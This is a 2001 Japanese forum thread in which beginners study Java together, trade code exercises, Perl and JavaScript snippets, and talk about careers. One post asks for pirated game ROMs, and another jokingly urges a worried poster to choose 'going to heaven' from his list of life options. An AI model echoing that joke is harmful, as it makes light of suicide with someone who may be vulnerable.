272 ：うんこじゃば野郎：2001/07/19(木) 05:23

>>271
なんとなく理解した('◇')ゞ
やっぱ理屈こねるより、そのほうが早道かもです。漏れもとりあえず
サンプルプログラムなどの改造で遊んでみます。
>>270
オブジェクト指向って常人の頭で理解でるかが、心配。

273 ：うんこじゃば野郎：2001/07/19(木) 05:28

>>265
学生ならあり。そうでなければ、プログラムのことはまったく知りません
といったほうがお得かも。結局は、まわり（クライアントも含む）と
コミュニケーションが出来るかが重要だと感じた。
いくら、仕事できない人でもまわりが助けてくれて成長できることも
あるし。
漏れは、人見知り＋無愛想なので、その辺はあきらめた。民間企業でやっていける
自信もない。JAVAと関係なくてすまん。

274 ：うんこじゃば野郎：2001/07/19(木) 10:09

出来たーよ。画像掲示板を改造して、テキストファイルだけ
アップできるようにしたので、使ってください。
ソースのアップにどうぞ。10Kまでです。

http://unkojava.omosiro.com/

275 ：◎：2001/07/19(木) 11:02

オブジェクト指向といっても特別なことはなく、
ＧＵＩ(マウスで画面を操作するような環境)
を扱うのに従来のＣ言語などの構造化プログラミングでは
不便なこともあり、必要に迫られて選択されただけです。
ですのでまず概念ありきではなくある仕様には何らかの意味があるのですよ。
たとえば変数と関数(メソッド)を一まとめにし、他の関数が
不用意に変数を変更することがない(→クラス)とか。
プログラミングとはなれた難しい抽象的な概念なんて存在しません、
あったとしてもそれを採用した言語は一般的にはならないでしょう。

ですから >>271さんがおっしゃったように、
まずはクラス、継承とはなんぞや？よりも先に
Javaではクラス、継承はどうやるの？を覚えて、
実際のプログラミングで理解すればいいですヨ！

>>261Javaプラグインでうごきますヨ！
Appletタグで動かない、プラグインが何MBもあるなどの問題もありますが。
>>269頑張ってください、私はRandomAccessFileは使わないでファイルをリネームしました。
>>270JavaはC++よりもオブジェクト指向が学びやすいですヨ(w
>>274（・∀・）ｶｺｲｲ!!

276 ：259：2001/07/19(木) 13:33

やっぱり本買ってきたよ
一気に難しくなった
Math.cosとかMath.sinとか
今日は一日引きこもる予定
あと漏れは学生じゃないのでヤバいのだ

277 ：てst：2001/07/19(木) 21:20

てst

278 ：真性初心者：2001/07/19(木) 21:22

質問！
みなさんの仲間に入りたいのですが
MAC環境でもできるんですか？

279 ：初心者：2001/07/19(木) 23:08

できそう

280 ：ジャバーウォッキー：2001/07/20(金) 03:29

>>218 の第二問
チキショー！どうやっても RandomAccessFile は
read も write も文字化けするよ。実現できた人ご報告を。
で、FileWriterで全部上書きするプログラムを作ってみました。
すげー見苦しいっていうかドキュソース？
http://unkojava.omosiro.com/
にあぷさせていただきます。

281 ：ジャバーウォッキー：2001/07/20(金) 03:33

ソースの批評とかはこっちのほうでやるということでよいのでしょうか？
アップしたソースも直リンしていいのかな？

282 ：Macユーザ：2001/07/20(金) 04:01

MacならOSXがいいよ
最初からjavacがついてるし、DevToolのProjectBuilder使えば
デバッグも楽だし

283 ：うんこじゃば：2001/07/20(金) 05:21

>>281
直リンOK
がんがんサーバーに負担かけましょう。ケケ

284 ：うんこじゃば：2001/07/20(金) 05:25

>>281
拡張子をJAVAにしないと改行が・・・TT
スキルが未熟なのですまん。

285 ：うんこじゃば：2001/07/20(金) 07:32

うぉっきーの書いたプログラム。↓
http://unkojava.omosiro.com/javajavascripts/4.java

286 ：真性初心者：2001/07/20(金) 10:37

>>282
８・６じゃダメですか？

287 ：ほねっと：2001/07/20(金) 10:55

CPUがG3だけどアップグレードしたやつはOSX動かないよね。

288 ：真性初心者：2001/07/20(金) 19:07

>>287
吸いませんもちょっと優しく。

289 ：おれ：2001/07/20(金) 21:17

>>287
ドライバの対応しだい。
対応してるとしてもメモリ搭載量への条件は厳しいかもOSX。

290 ：ジャバーウォッキー：2001/07/20(金) 22:45

>>285
ありがとう。
さっきもう一度試したけれどやっぱり
テキストファイルじゃないとだめって言われた。
自分の3.txtをダウンしたらポップアップ用javascriptがついてくるのに
4.javaはついてこないんだね。アップの仕方まちがってる？

>>284
！！ほんとだ！ブラウザで開くと改行がないんだ。
初めて知った。
普通に保存してからエディタで開いたら大丈夫だと思うけど・・・

291 ：うんこじゃば：2001/07/21(土) 03:45

>>290
あのジャバスクリプトは、広告用のやつですね。
えーと。めんどくさいですが、いったん.txtで保存して
それをむりやり.javaにリネームすればいいかもしれません。
それでもだめなら、あきらめるっと。

292 ：ジャバーウォッキー：2001/07/22(日) 01:56

>>291
そのやりかたで復元は問題ないです。
けどソース読む人が面倒そうなんで、
自分は今後は別の場所にアップすることにしますね。

293 ：うんこじゃば：2001/07/22(日) 07:13

>>292
使用の強制はしないけど(^-^)/
直しました。

txtファイルでも大丈夫になりました。

強引に直した。↓

print IMAGE "<HTML><HEAD></HEAD><BODY><PRE>";
print IMAGE $in{$name};
print IMAGE "</PRE><BODY><HTML>";

294 ：うんこじゃば：2001/07/22(日) 07:22

http://unkojava.omosiro.com/cgi-bin/minibbs.cgi?log=javajava

295 ：age：2001/07/22(日) 12:09

こらー！　続きやれ！　初めての生産的（かどーかしらんが）スレだろ？
殺すだの死ぬだの言ってるよりいいじゃねぇか！
age!

296 ：◎：2001/07/22(日) 12:32

>>280Javaの内部はUnicodeなんで
InputStreamReader, OutputStreamWriterか、
StringのgetBytes()を使って文字コードを変換しなくてはなりません。
FileWriterはOutputStreamWriterのサブクラスなので、
そのプラットフォームでデフォルトの文字コードに変換してくれます。
>>295うんうん、マターリいくであるヨ。

こんなかんじでどうでしょうか？
http://unkojava.omosiro.com/javajavascripts/5.java

297 ：真性初心者：2001/07/22(日) 16:38

横からすいません。
マック環境。os8.6でも大丈夫ですか？
みなさんの仲間に入りたいです。
しつこくてすいません。

298 ：仕様書無しさん：2001/07/22(日) 16:59

>>297
だいじょぶでしょ
↓参照
http://opinion.nucba.ac.jp/~tkenichi/java/mac.html
http://www.freeml.com/ml_mess.php?ml=macjava

299 ：真性初心者：2001/07/22(日) 21:19

>>298
ありがとうございます。
参戦予定です！よろしくっ！

300 ：真性初心者：2001/07/22(日) 23:31

ついでに３００ゲット（笑

301 ：ファック：2001/07/23(月) 01:14

高卒の俺にも出来るだろうか？

302 ：ﾑｼｮｸ：2001/07/23(月) 01:44

ｱﾂｲﾖｫｰｸｰﾗｰﾎｼｲﾖｰｵﾚﾓﾃﾞｷﾙｶ?

303 ：できます！：2001/07/23(月) 02:57

できます！できます！できます！できます！できます！
できます！できます！できます！できます！できます！

304 ：うんこじゃば：2001/07/23(月) 05:30

>>301
むしろプライドの低い高卒の方が、会社としては使いやすいし
プログラマとして雇ってもらいやすいのでは？
院卒、大卒は、変にプライドだけ高くて、使えないし（俺のこと）。

あーみなさんに、やる気のでる話。

知り合いの会社でオブジェクト指向でシステムの
設計が出来る人を雇っているらしいんだけど、
派遣会社に、一年契約で、3000万円払っているらしい。
一人にだよ。

途中で派遣会社がマージン取るにしても、すごい年収だろうなぁ～。

オブジェクト指向が本当に実務で出来るひとは、数少ないらしいですな。
ってこのレベルに逝くには、無理かもなー（　´∀｀）。
がははは。

ジャバ勉強しないで、こんなゲームにはまってる俺(ﾟДﾟ;)。だめだこりゃ。
無料です。
↓
ttp://www.nexon.co.jp/tcommanders/

305 ：Hornet：2001/07/23(月) 10:00

class StringToInt21 {
public static void main(String args[]) {
String s = "125";
int i = Integer.parseInt(s).intValue();
i += 10;
System.out.println(i);
}
}
これコンパイルエラーが出るんですけど誤植でしょうか。parseIntをvalueOfに
変えると大丈夫なんです。

306 ：尻尾だけトラ猫：2001/07/23(月) 10:03

うー、全然進んでないJava

307 ：Hornet：2001/07/23(月) 10:12

テキストを一冊決めておくといいんじゃない？
本によってキーワードの出てくる順番が全然違うから。

308 ：Hornet：2001/07/23(月) 10:14

わたちもＵＯやってる時間の方がずっと長い。亀のような歩みです。

309 ：うんこじゃば：2001/07/23(月) 11:12

「オブジェクト指向開発の落とし穴」2900円
B.Fウェブスター著
プレンティスホール

もらった本だが・・・読む気なくした。

310 ：なんちゃって詩人：2001/07/23(月) 14:12

>>305
APIの本が今手元にないので何ともいえないが・・・
parseIntというメソッドはオブジェクトを返してくるのかな？
もしそうなら、返してくるオブジェクトにintValueというメソッドが無いのでは？
parseIntの引数はStringクラスではないということも考えられますね。
文字列を直接渡す形式かなら、StringクラスのtoString()を渡してみてはどうでしょう？
エラーの内容を書き込んでいただけると、より正解に近付けるのではかと思います。

311 ：おぱーい　：2001/07/23(月) 14:38

まじっすか？

312 ：◎：2001/07/23(月) 15:02

>>298は1.1.8ベースですがSwingもあるので勉強には問題ないと思います。
>>301-303できるヨ！
>>304上を見れば上がいます何かしら得意なことがありますよ。
>>309ステップアップですネ！

>>305
>>310
Integer.parseInt(String)が返す値はintですね。
intはプリミティブ型なのでそもそもメソッドはないのです。
クラスIntegerとintの違いがわかるよい問題なのかもしれませんネ。
Javaではすべてオブジェクトなのが理想的なのですが、
ハードウエアに近く処理のためのオーバーヘッドが無視できない
boolean, char, byte, short, int, long, float, doubleなどは、
プリミティブ型としてデータそのままに扱っているのですよ。
int型をオブジェクトとして扱うためのクラスがIntegerで、
その他のプリミティブ型にも同じようなクラス（ラッパークラス）があります。
APIドキュメントのパッケージjava.langを調べてみてくださいネ。

>>311え？

313 ：◎：2001/07/23(月) 15:06

311アゲ荒らしでした。

314 ：　：2001/07/23(月) 16:14

http://www.zdnet.co.jp/news/0107/19/e_coursey.html
どう？

315 ：尻尾だけトラ猫：2001/07/23(月) 16:39

マイクロソフトのバカ。

316 ：名無しさん：2001/07/23(月) 17:05

エロゲーＲＯＭどっかに無いかな？
ワレズだけど。

317 ：　：2001/07/23(月) 17:11

http://mentai.2ch.net/test/read.cgi?bbs=prog&key=995455733

参照

318 ：Hornet：2001/07/23(月) 17:15

ほんとはvalueOf() を使った例題をparseIntを使って書き換えなさいという
問題だったです。洋書の教科書によくあるひっかけて理解を深めさせようって
いう問題ですかね。もうちょっとクラスの章でとどまってよく理解しようと思います。
>>305,>>312

319 ：　：2001/07/23(月) 21:07

洋書呼んでるのか　全然だめじゃないじゃないか。

320 ：名無しさん＠ダメ板：2001/07/23(月) 21:14

洋書読みたい
読めるようになるまで、どのくらいかかったの？

321 ：名無しさん＠ダメ板：2001/07/23(月) 21:16

ハリーポーターと賢者の石
が原書で読んでみたいもんだ。
でもなぜ英語？
ま、仕方ないが

322 ：　：2001/07/23(月) 21:28

>>319いや洋書を翻訳したやつです(^^;

323 ：うんこじゃば：2001/07/23(月) 23:28

>>317今からジャヴァやってもメリットないのかもねＴＴ。C　or　C++からやりますかな・・・。
ということで、
　　　　　　　　　　　　ｏ
　　　　　　　　　　　 /　￣￣￣￣￣￣￣￣￣￣ /
　　　　　　　　　　　/　　　このスレは無事に　　/
　　　　　　　　　　 /　　終了いたしました　　　 /
　　　　　　　　　　/　ありがとうございました　 /
　　　　　　　　　 /　　　　　　　　　　　　　　　　/
　　　　　　　　　/　　　　モナーより　　　　　 /
　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣￣/
　 ∧＿∧　　/　　　　　　　　　　　　　　　　/∧＿∧
　（　^∀^）　/　　　　　　　　　　　　　　　　/（^∀^　）
　（　　　　）つ　　　　　　　　　　　　　　　⊂（　　　　）
　｜｜｜　　　　　　　　　　　　　　　　　　｜｜｜
　（_＿）＿）　　　　　　　　　　　　　　　　　　（＿（＿_）

324 ：　：2001/07/23(月) 23:36

マックはどうすればイイの？
氏ねっていうの？

325 ：信州人：2001/07/24(火) 00:21

>>56
nanasi.javaっていうファイルのプログラム作って
それをコンパイルするとnanasi.classってファイルが出来るから
それをhtmlのファイルに埋め込むんだよ。
すんごい亀レスすんまそん。

326 ：彦もこり：2001/07/24(火) 00:37

>>323 != 1

webアプリ用のプログラミング言語といったら、ＪＡＶＡ。
携帯のアプリといったら、ＪＡＶＡ。
ＩＢＭが全社をかけて取り組むのが、ＪＡＶＡ。
取って代わるものは、今のところ見当たらないはずだけど、
それはそれで、そのときに対応すればよいだけの話で。

ひそかに、勉強させてもらっていますので、よろしく。

327 ：千尋たん：2001/07/24(火) 00:41

　　　　　　　　　　　　　　　　　＿＿＿＿＿_
　　　　　　　　　　　　　,.-'"￣　　　　　　 "''‐- ､
　　　　　　　 _,,. -─／　　　　　　　　　　　　　　　　＼
　　　　　　／　　／　　　　　　　　　　　　　　　　　　　ヽ、
　　　　／　　 /　　　　　　　　　　　　　,i　　　　　　　　ヽ,
　　　 /　　　 ,l　　　　　　　　　　/　　 / .|　　 /l　ヽ　　　　l
　　　l　　　　.|　　　　l　|　　　　/ | 　,/　 | ,　 | |　 .!ﾍ、　　|
　　 .|　　　　 |　　　　　| /　!　/　| l ,/　　|l |. |　| li |　|. l,　　|
　　 l　　　　　|　　　　　//i.l.|ﾑ--ﾚ/_　　　　|l　 _|L--､　|　l/
　 ./　　　　　|　 L　　　V |l　 _,,.-.､　`　　　　　"_.､-､　 |　|
　/　/　　　　ﾄ./　'l　　　|　　"i、,j ,）　　　　　　 (_,,j　） .l　|
　レ/　　　　 |::|　`|　　　|　　　" '"　　　　　　　　　'" 　|. |
　 /　　 l　　/::::l.　 |　　 |:　　 (二)　　　　 _　、　 "゛゛ |. | ヒッキーはJAVAなの？
. /　　 /ﾚ'| /::::::::ヽ┤　 |::　　　　　　　　　　　　　　　　|. | 　　　なんでかなぁ…。
/ ./　/:::::::`::::::::::::::::::|.　 |:::　　　　　　　　　　　　　　　 l　|
| /|　|:::::::i:::::::::::::::::::::::|.　ll::::　　　　　　 -──　　　ノl　|
V |　|:::::::|:::::::::::::::::::::::::|. ||::il`'┐._　　　　　"　　 _.-''゛　|. |
　 .|　|::::/|:::::::|:::::::::::::::::| |'|:ﾄ|!┴-ニ'─--┬‐''"　　　　 l.|
　　ヽ |/ ヽ|:::l|;:::::::::::::::::|.| |l＿__　　￣─､ﾄ､__
　　　i.|　　ヾ. |:/:::::::::;~∥＿__ ￣''‐-.__　 ~`''-ﾆヽ
　　　　　　　　ﾙ-|:::::|／＿＿゛''‐- 、 '~‐ 、　　 .|、
　　　　　　　　　　|::;ﾉ'／　　　 ~'''-､. `ヽ、　~''‐-"ヾヽ、
　　　　　　＿..--┴,/　　　　　　＼　＼　　　　＼i

328 ：JAVA勉強中：2001/07/24(火) 01:52

>>323
こらー、あんたが終了したらスレの士気にかかわるって。
実際 >>326 の言うとおりだと思うぞ。
CとかC++とかやってるやつはごろごろいるんだしさ。
今現在なら求人はJAVAのほうが強いって。

329 ：JAVA勉強中：2001/07/24(火) 01:54

あげとこ。

330 ：うんこじゃば：2001/07/24(火) 06:06

>CとかC++とかやってるやつはごろごろいるんだしさ。
>今現在なら求人はJAVAのほうが強いって。

そ・そ・そうだな・・・。ジャバ→C#　黄金パターンで逝くか。
JAVA勉強中さん、発言してスレもりあげてね。

5年後を考えると鬱になるかも。
しかし、winをいじってるよりlinuxいじってる方がおもしろいしな。かなり、厨房だけど。
この影響を受けて、TOMCATとか開発中止になったらどうするんでしょう。
そんときゃ、本当に終わりですね。iアプリが2年後残ってるとは、
考えにくい。

JAVAしか出来ないひと＜C＋＋しかできない人
基本能力がたかいのは、C++の方ですが、JAVAはﾄﾞｷｭｿでも習得可能だと
いうことで、JAVAを選択するしかないしね。

ああ、C#ってどう発音するんですか？

331 ：ジャバーウォッキー：2001/07/24(火) 06:40

>>296
うひゃー、InputStreamReader, OutputStreamWriter　と
RandomAccessFile　の絡ませ方が分からんかったので、
FileReader　と　getBytes()　をつかって読み書き実現してみました。
◎ さんアドバイスありがとうございます。
が、しかし　RandomAccessFile　の書き込みは
挿入無しのどんどん上書きっっっ・・・！
てなわけで置換後のギコのずれを直せませんでした。
とりあえずアップします。
http://unkojava.omosiro.com/javajavascripts/6.txt
残り全部上書きだと　RandomAccessFile　使う意味も無さそうなので
このやりかたではダメってことですかね。

332 ：ジャバーウォッキー：2001/07/24(火) 06:59

>>330
いや、なんかえらいことになってますね。
実際プログラムを仕事にしたら言語の移り変わりとか
しょっちゅうみたいだし結局はいろいろ覚えにゃならんのかな。
うんこじゃばさんだってプログラム知識0とか言いつつ
cgiいじってるじゃないですか（ありがとう、今後もあの板であぷします）

俺も基本情報技術者試験受けるつもりだけどJavaを選択するか
どうかっていうのが勉強へのモチベーションに響くしなあ。
問題はいま現在、どの言語に力を入れるのかが有効かってことですね。
確かに　 >>317 はヘコム。
とりあえずみなさん意見モトム。

333 ：cafe del mar：2001/07/24(火) 07:29

いや、javaはかなりいけると思う。
俺の友人で大手コンサルタントに勤めてる奴とか、
世界的なコンピューター会社に勤めてる奴いるけど、
２人ともこれからはjavaだと言ってた。
それに最近の言語なにか一つやっとけば他の言語への
移行も楽だし、とりあえずjavaやろうよ。

334 ：うんこじゃば：2001/07/24(火) 12:51

>>332-333
そうですね。やけになって終了させてすまそ。
でも、漏れも本気で将来のことをいつもかんがえてるんだけど・・
今選択しなきゃならんことは、こんな感じだと思う。みんなは、どれにする？
てゆうか、定職ついている方もいるんですよね・・・・。
特にコテハンの人の意見を求む。学生は、不可。
1は必須条件です。

1　ひたすらJAVAをやる。基本情報処理技術者に合格する。
2　ﾄﾞｷｭｿｿﾌﾄﾊｳｽ（給料15万）にアルバイトでもぐりこみ、実務経験もつける。
　　二年くらい辛抱して、まともなSIベンダに逝く。
3　JAVAは、趣味にして、営業からやってマーケティングに逝く。
　システムのわかるマーケターを目指す。
4　バイトしながら、一年間死ぬ気で勉強して、公務員を目指す（ちょうど一年ある）。
　　保険としてJAVAをやる。
5　一生だめ人間を貫きとおし、親のすねをかじる。
6　VB厨房になり、派遣で食ってく。
7　パソコン・JAVAは一切忘れて、普通の職業につく（販売職など）。
8　JAVAを完全にマスターし、なおかつC++などをマスターし、シェアウエア作家
　として一発をねらう。
9　天国に逝く。
10　カスタマーサポートなど、ﾄﾞｷｭｿな派遣に逝く。
11　内臓を売る・新薬テストなどで食いつなぐ。
12　情報系の専門学校に逝く。
13　もういちど学校（学校法人の）に入る。
14　一生ﾄﾞｷｭｿフリーター（マクドナルドで40歳とかいる（藁
15　すべてをわすれてバックパッカーになり国外脱出。

おれは、たぶん1＋4が近いと思う。公務員落ちたら、3 or 2に逝くと思う。
今日面接を受けて、やっぱり民間でやってくには、実力がないとおもたよ。

335 ：自殺君：2001/07/24(火) 12:55

迷わず　9番でおねがいしまふ。

336 ：うんこじゃば：2001/07/24(火) 13:52

自己レス

C#（シーシャープ）

2000年6月に米Microsoft社が発表した新しいプログラミング言語。
C++をベースにしたものだが、Javaと同じように、ソフトウェアはバイトコードで生成して、
バーチャルマシン上で動作させるしくみになっている。
なお、C#はMicrosoft.NET戦略の一部とされており、
XMLを使用したアプリケーションの開発に使われることが見込まれている。

337 ：◎：2001/07/24(火) 15:53

>>318どっちにしろ答えはint i = Integer.parseInt(s);ッスね！
>>324MacOSXはJ2SE1.3ですネWinよりもよいですよ。
>>331そうですねRandomAccessFileよりもInputStreamReader(FileReader),
OutputStreamWriter(FileWriter)を素直に使ったほうがよいと思います。
>>334まだ結論を出すには早いと思います、C#でも、Javaでオブジェクト指向の概念を学んでから
C++に移行してもよいですし。
プログラミングをするのかしないのかならアドバイスすることはありません。
でもこういう風に目的を羅列できるのはすごいですよね。頑張ってください。

338 ：尻尾だけトラ猫：2001/07/24(火) 15:54

なんとかこのスレの内容がわかるようになるまでは続けてください（笑）
今から１の本の３章やる。

339 ：ジャバーウォッキー：2001/07/24(火) 16:02

>>334
おれは２６歳なんで公務員は厳しい。
１＋２の方向だけど２はアルバイトじゃなく正社員で。
就職活動はこれからなんで惨敗したらまた気が変わるかも…
ちなみに前職はPGとは関係無し。
未経験歓迎はほとんどドキュソ企業らしいので腹くくるしかなし。
とはいえ入る会社は吟味しないと後悔しそう。

面接時に「基本情報処理受けるのでJava勉強してます」って
話のネタにするのはOKなのだろうか？

340 ：見習い修行中：2001/07/24(火) 17:34

>>334
俺は今2を実行中だ。
とりあえずソフトハウスにもぐりこむことに成功したよ。
独学で半年ほどCを勉強してたけど、その程度のレベルでは
実務ではほとんど役にたたないと思ったよ。
ホントにPGになりたいのなら、さっさと現場にもぐりこむのが
いいんじゃないかな。
もちろん、勉強させてくれる会社ってのが前提だけどさ。

>>339
未経験者に実力は向こうも期待してないと思う。
要はやる気。
やる気をアピールするために
>面接時に「基本情報処理受けるのでJava勉強してます」って
>話のネタにするのはOKなのだろうか？
っていうのはアリなんじゃないかな。

341 ：尻尾だけトラ猫：2001/07/24(火) 17:59

だらだらとやって3-1プログラムの基本構造　終了。

342 ：尻尾だけトラ猫：2001/07/24(火) 18:18

3-1はソースコードの記述方法　だった。
次、3-2変数　終了。

343 ：うんこじゃば：2001/07/25(水) 01:09

>>339
職歴があるだけうらやましい。営業経験とかあればそんなにﾄﾞｷｭｿじゃなくても
いけると思います。

オブジェクト指向ってモノで考えるってことは理解できました。
本の解説のこの言葉が印象的です。
「動詞じゃなくて名詞でかんがえろ」
なかなかわかりやすかたです。
実際には、クラス、継承の意味は、まだ曖昧です。
JAVAのポイントは、そこだと思うので重点的にやります。

344 ：うんこじゃば：2001/07/25(水) 01:19

XPでJAVAをプラグインみたく入れるって話だよね。
FLASHとかだとすぐ入れ方わかるけど、SUNのページだとわからないから
駄目見たいな話があったけど。それは、こっちでJAVA（VM)の入れ方を
丁寧に解説したページに誘導すれば、そこそこ、ユーザーは使ってくれると思う。

リアルプレーヤーもちょっとわかりずらいけどね。

345 ：◎：2001/07/25(水) 15:34

>>337きつい言い方でしたね、すいません、、。
JavaとC言語はプログラムをはじめるのに理想の組み合わせだと思います。
クラスを自作したり継承したりしながら、
よりよいクラス設計ができるよう頑張っていきましょうね。
src.jarの中にあるAPIのソースはとても参考になりますヨ！

346 ：尻尾だけトラ猫：2001/07/25(水) 16:22

4-1定数終了。

347 ：名無しさん：2001/07/25(水) 16:34

ね、みんなは今年のインターネット検定受けるの？

348 ：尻尾だけトラ猫：2001/07/25(水) 16:39

興味はあるけど今年は無理っぽいです。
秋以降考え始めます。

349 ：名無し.net：2001/07/26(木) 00:07

ＴＢＳのニュース文字が流れるタイプ
（ＢＯＤＹのところに入れる）
－－－－－ここから－－－－－

350 ：名無し.net：2001/07/26(木) 00:10

351 ：名無し.net：2001/07/26(木) 00:11

<!--
var uah = navigator.userAgent; // user-agent header
var uan = ""; // user-agent name
var jversion = "10";
//var jversion = "";
if ((uah.indexOf('Mozilla/2') >= 0 ) && (uah.indexOf('MSIE') == -1)) {
uan = "nn2";
jversion = "10";
}
if ((uah.indexOf('Mozilla/3') >= 0 ) && (uah.indexOf('MSIE') == -1)) {
uan = "nn3";
jversion = "10";
}

352 ：名無し.net：2001/07/26(木) 00:11

if ((uah.indexOf('Mozilla/4') >= 0 ) && (uah.indexOf('MSIE') == -1)) {
uan = "nn4";
if(4.05 > parseFloat(navigator.appVersion))
jversion = "10";
else
jversion = "11";
}
if (uah.indexOf('MSIE 3') >= 0 ) {
uan = "ie3";
jversion = "10";
}
if (uah.indexOf('MSIE 4') >= 0 ) {
uan = "ie4";
jversion = "11";
}

353 ：名無し.net：2001/07/26(木) 00:12

if (uah.indexOf('MSIE 5') >= 0 ) {
uan = "ie4";
jversion = "11";
}
//-->
</SCRIPT> <SCRIPT language="JavaScript">
<!--
if (jversion == "") {
document.write('JAVAscript$B$r(BON$B$K$7$F$/$@$5$$!#(B');
} else {
if(jversion == "10"){
document.write('<applet codebase="http://news.tbs.co.jp/ticker/10" code="MultiMessageViewer" width="480" height="20">');
document.write('<param name="encoding" value="EUCJIS">');
} else {

354 ：名無し.net：2001/07/26(木) 00:13

document.write('<applet codebase="http://news.tbs.co.jp/ticker/11" code="MultiMessageViewer" archive="MMV.zip" width="480" height="20">');
document.write('<param name="encoding" value="SJIS">');
}
document.write('<param name="resource" value="news.html">');
document.write('<param name="director" value="SlideinActionDirector">');
document.write('<param name="reload_interval" value="300000">');
document.write('<param name="velocity" value="20">');
document.write('<param name="stepping" value="30">');
document.write('<param name="stopping" value="8000">');
document.write('<param name="bg/color" value="#ffffff">');
document.write('<param name="span#0" value="font-size: 12;font-style: PLAIN; foreground-color: #993300">');
document.write('<param name="span#1" value="font-size: 12;font-style: BOLD; foreground-color: #000000">');

355 ：名無し.net：2001/07/26(木) 00:14

document.write('<param name="span#90" value="font-size: 12;font-style: PLAIN;text-align: right; foreground-color: #000000">');
document.write("</applet>");
}
//-->
</SCRIPT></TD>

356 ：彦もこり：2001/07/26(木) 00:16

>>334 2に近い。
ﾄﾞｷｭｿｿﾌﾄﾊｳｽに契約社員（給料??→６ヵ月後の今??万）でもぐりこんだ。
１ヶ月間のjava school有り。奨学生：受講料ただ。研修生：300,000円。
1年間仕事拘束を受け入れれば、奨学生で入学できる。evsで逝け！（検索）

357 ：名無し.net：2001/07/26(木) 00:19

>>350-355
コピペしてBODY内に入れると、ＴＢＳの１行ニュースが流れます。

358 ：名無し.net：2001/07/26(木) 00:26

色付きｽｸﾛｰﾙﾊﾞｰ。色指定のところを変えるとｽｸﾛｰﾙﾊﾞｰの色を変更できる。
<style>

</style>

359 ：名無し.net：2001/07/26(木) 00:33

お気に入りのアイコンの変え方。雑誌の付録などについている.icoをアップロードしてから、
<LINK REL="SHORTCUT ICON" HREF="アップロードしたアドレス.ico">
<SCRIPT language="JavaScript">
da_image = new Image();
da_image.src="favicon.ico";
</SCRIPT>
HEADのところに入れる。

360 ：名無し.net：2001/07/26(木) 00:41

楽しみながら覚えた方がいいと思うよ。
片っ端から覚えたらつらいものがあるんじゃないかな？
人いろいろだけどね。

361 ：尻尾だけトラ猫：2001/07/26(木) 00:43

なぜにJavaScript。。。

362 ：名無し.net：2001/07/26(木) 00:46

>>361
ＴＢＳの１行ニュースやってみぃ。感動するから。（ｗ

363 ：尻尾だけトラ猫：2001/07/26(木) 00:55

一応コピーさせていただきました。ありがと。

364 ：その蜩：2001/07/26(木) 00:58

・・・・・・（・_・）。

365 ：名無し.net：2001/07/26(木) 01:01

>>350-355
今、メモ帳でやってもできた(ｗ

366 ：尻尾だけトラ猫：2001/07/26(木) 01:04

アプレット使ってるんだね。TBSニウス。
どうやって作ってるのかはさっぱり。。。
いつか理解できるようになりたい。

367 ：うんこじゃば：2001/07/26(木) 04:57

2進法→10進法
2進法→16進法

終了

待ち行列　終了

368 ：うんこじゃば：2001/07/26(木) 04:59

>>356
EVSの話をもう少し詳しくたのみます。
検索してもでてこないYO。

369 ：ほれ：2001/07/26(木) 07:41

http://www.google.com/search?num=100&hl=ja&newwindow=1&safe=off&q=evs+java&btnG=Google+%8C%9F%8D%F5&lr=lang_ja

370 ：◎：2001/07/26(木) 15:53

最近はPerl一生懸命勉強してます。

371 ：　：2001/07/27(金) 02:45

>>369
emotional voice system ﾌﾟﾌﾟ

372 ：新参もの：2001/07/27(金) 11:39

このスレ見つけてオラもやろう！と思ったものの
結局、本屋に行ったのが昨日です。
今から少し本読んで、独学して追いつきますので仲間に入れてください！
56kのﾀﾞｲﾔﾙｱｯﾌﾟ､ﾃﾚﾎ無しなんでつらいわー
ADSLに変えたほうがいいかな・・

373 ：ジャバーウォッキー：2001/07/27(金) 16:36

ひさびさにお題でもだそう。

class mona {
void print() { System.out.print("（　´∀｀）"); }
void speak() { System.out.println("＜オマエモナー"); }
void speak(String s) { System.out.println("＜"+s); }
}

こいつを継承していろんなキャラを作ってみよう。
モナー板とか参照。

374 ：ジャバーウォッキー：2001/07/27(金) 16:40

んでmainはこんな感じで。

class talk {
public static void main (String args[]) {
mona obj1 = new mona();
obj1.print();
obj1.speak();
obj1.print();
obj1.speak("…");
}
}

DOS窓だと雰囲気いまいちだが、
ま、練習問題ってことで

375 ：◎：2001/07/27(金) 16:58

>>373ｲｲ!

376 ：新入り：2001/07/27(金) 20:18

デルファイってどうなんでしょうか。
ＶＢですら挫折してしまった僕にも、覚えられるのでしょうか。

377 ：泰治：2001/07/27(金) 20:32

でしょうかって聞いてるやつが習得できるわけがない

378 ：新入り：2001/07/27(金) 20:34

>>377
そうでもないさ。

379 ：泰治：2001/07/27(金) 20:35

じゃーがんばれ

380 ：名無し：2001/07/27(金) 20:36

>>376 覚えるものではなくて使うもの

381 ：新入り：2001/07/27(金) 20:39

無料でダウンロード出来るみたいだし
やってみるかな。

382 ：◎：2001/07/28(土) 19:21

がんばってー

383 ：尻尾だけトラ猫：2001/07/28(土) 22:06

第５章　配列と繰り返し　終わりました。

384 ：・：2001/07/29(日) 15:04

なあ・・・プログラム板に逝ったらＪａｖａはもう駄目らしいじゃねえか・・・

385 ：名無しさん：2001/07/29(日) 16:25

>>384
んなことないでしょ
WindowsXPでデフォで動かないってだけでしょ。
携帯でもJava使われてるんだから、もう駄目って
ほどではないんじゃねーの

386 ：　：2001/07/29(日) 16:47

>>384
コラッ！！！なんでプログラム板なんか逝くんだ！！！！
あれほど言ったろう。あんなとこ逝ったらダメだって！！
まったく今度という今度は堪忍袋の緒が切れた！！
お前みたいな奴はもう勘当だ！！！荷物をまとめて出て行け！！！！！！

387 ：◎：2001/07/29(日) 18:03

言葉の意味はよくわからんが、とにかくすごい自信だ。

388 ：・：2001/07/29(日) 19:03

やさしいＪａｖａを買ってみた・・・
やさしくない。
完

389 ：尻尾だけトラ猫：2001/07/29(日) 20:13

地道にやてます。
第６章条件分岐までやりました。

390 ：◎：2001/07/30(月) 18:49

そうですよがんばって。

391 ：尻尾だけトラ猫：2001/07/31(火) 21:48

第７章　クラスライブラリ終了。
これは一番難しかった。
今までは読めば何を言っているのかわかったけど、これはわからなかった。
使って覚えるしかないみたいだね。
残り1章でこの本は終了。

392 ：・：2001/07/31(火) 22:05

あんたはこの板向きの人間じゃあないようだ・・・・

393 ：　：2001/07/31(火) 22:14

板じゃなくてスレでしょう。
確かにちょっとヤバイ気もするけど実際使ってみないとイメージできないとこもあるよ・・

394 ：：2001/08/01(水) 05:21

>>392-393
まじめに勉強しているから「だめ板」向きじゃないって
ことでは

